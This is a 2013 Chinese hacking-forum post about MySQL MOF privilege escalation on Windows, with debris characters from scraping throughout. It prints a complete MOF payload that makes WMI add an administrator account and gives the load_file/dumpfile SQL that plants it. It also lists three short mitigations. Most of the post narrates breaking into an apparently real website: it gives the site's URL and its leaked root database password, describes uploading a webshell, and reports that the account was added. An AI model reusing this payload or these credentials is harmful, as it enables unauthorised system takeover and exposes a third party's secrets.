找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2230|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
# \: q& h# L7 d) [* a# O6 D* s/ ?) _
网上公开的一些利用代码:$ D0 p& X- y0 r

+ a2 v/ Y  [1 ?  N#pragma namespace(“\\\\.\\root\\subscription”)/ ~# l1 Q$ K8 B0 `+ T0 N( g% V
' P  W$ s; w; }- f5 p8 O
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };7 w8 }; x+ B9 H. J0 A3 O1 n9 ~
! N0 t; t9 A9 Z: ]# P% n
: T0 Y6 V5 u# f3 H, V/ E: @
5 K. V2 [: M0 v6 k" k4 P4 r. p

; W0 f6 z9 O+ U6 ?
4 M/ R5 F8 a( M连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
4 Y4 ^/ }8 K8 o2 _+ F: f从上面代码来看得出解决办法:
" {. C+ s, j* g  f1 Q& K
& H4 W! m2 D! Q5 v6 h% V* N1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
  ?+ Y$ T" \$ I4 I; @/ P! v* @7 p
2、禁止使用”WScript.Shel”组件- r/ M$ x" w% w

( ~' a0 g- Z" m3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER8 M5 G+ d7 `4 ?$ h4 p9 c8 x  Q1 x
: ~  u+ O/ v$ |0 Q7 j. y" H! m7 x0 V
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
# E7 J; `' n5 W5 X$ n" [: i1 p& l- `/ a) t9 `% [) f' Q
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权, E& f$ W+ L$ ~9 }9 v+ k5 r8 R; {8 \
: S' f- m5 Q% b& n% p" @
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
( b: m: N( A5 k  \6 b/ k8 D4 J! z8 t; R+ r+ r) q3 q1 S# P
看懂了后就开始练手吧
" @" }* u6 H# r! B, i" B+ a/ @9 ]
# I, N: `2 O7 g3 yhttp://www.webbmw.com/config/config_ucenter.php 一句话 a1 }) A% O8 ^& p( A( r3 f3 ^

* r+ N. v7 H  X  Z4 a0 d' N$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
5 y% `: c1 Y7 X* j6 o. e* S5 N! b3 B: ~
于是直接用菜刀开搞
. T8 h& @7 {5 |7 b9 [  |0 t& G0 L' l% n: o4 Q( y% c% K
上马先
: _; W2 ?7 n- \) z+ h9 X+ c" b  d$ x; U) o. S; k
既然有了那些账号 之类的 于是我们就执行吧…….; }6 i: c4 e' q4 k2 A: V$ \. e9 j

5 ~+ _: _# s* e9 n4 E  w" o小小的说下' P8 Z7 l- i4 u; ]7 L) d

0 s1 i2 }% @- z/ e5 x在这里第1次执行未成功        原因未知
" B1 e0 s" x  t* I1 W5 M+ R* L! ~
) M& W: v; w, ?8 I6 J我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
* m  _5 Z$ ]3 }" P! i# d
; E+ X2 N3 s0 [" e/ D#pragma namespace(“\\\\.\\root\\subscription”)+ }" y: a# X  j2 F, X5 l, M

3 P2 R/ ^- u+ f7 {4 Xinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };- j. S' G6 s4 g& L
3 |$ W* J# c# v1 j$ M$ `
我是将文件放到C:\WINDOWS\temp\1.mof& g' q7 }# Q4 w# H3 C

9 [+ u( I6 C, k) [) s+ x所以我们就改下执行的代码  t, E; V8 _8 V2 O
! v$ V+ p8 f5 U) w
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; h1 y$ M8 _/ S+ k& r( l4 @  ?
/ Q3 c+ h2 t2 G) H7 `7 D* s: x

( u9 q9 d- b* M) m4 r
6 @& _9 Y7 u3 z2 F但是 你会发现账号还是没有躺在那里。。
! ~' B% ^+ L: Z5 H4 W" r/ Q+ j8 a
- v/ P7 c/ [4 E. Q, h于是我就感觉蛋疼# y; `+ X* v. Z/ ?' x& J$ S
, ~8 b& y' `) u! {# ?) h2 g5 N: i' Z9 ]
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
; ~, z7 P4 _  ]. v0 i% y
# z: F( u% A; P# [; m
' k. U6 [& ^1 ?9 w2 ^/ [- E& y* d+ |+ U
但是其他库均不成功…- O% A& l. R) e/ \- J. r
! R/ V" ]& l/ z9 v
我就很费解呀 到底为什么不成功求大牛解答…1 G1 ~4 n; X* N  B  N5 U3 o
  G, `, t* p1 G, J" a. [9 q- h2 t/ Z
, E3 J2 o$ L; Y+ S% v- I8 h) k7 Y7 I

4 W/ O! I; P" k5 n4 B. Y6 q' x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表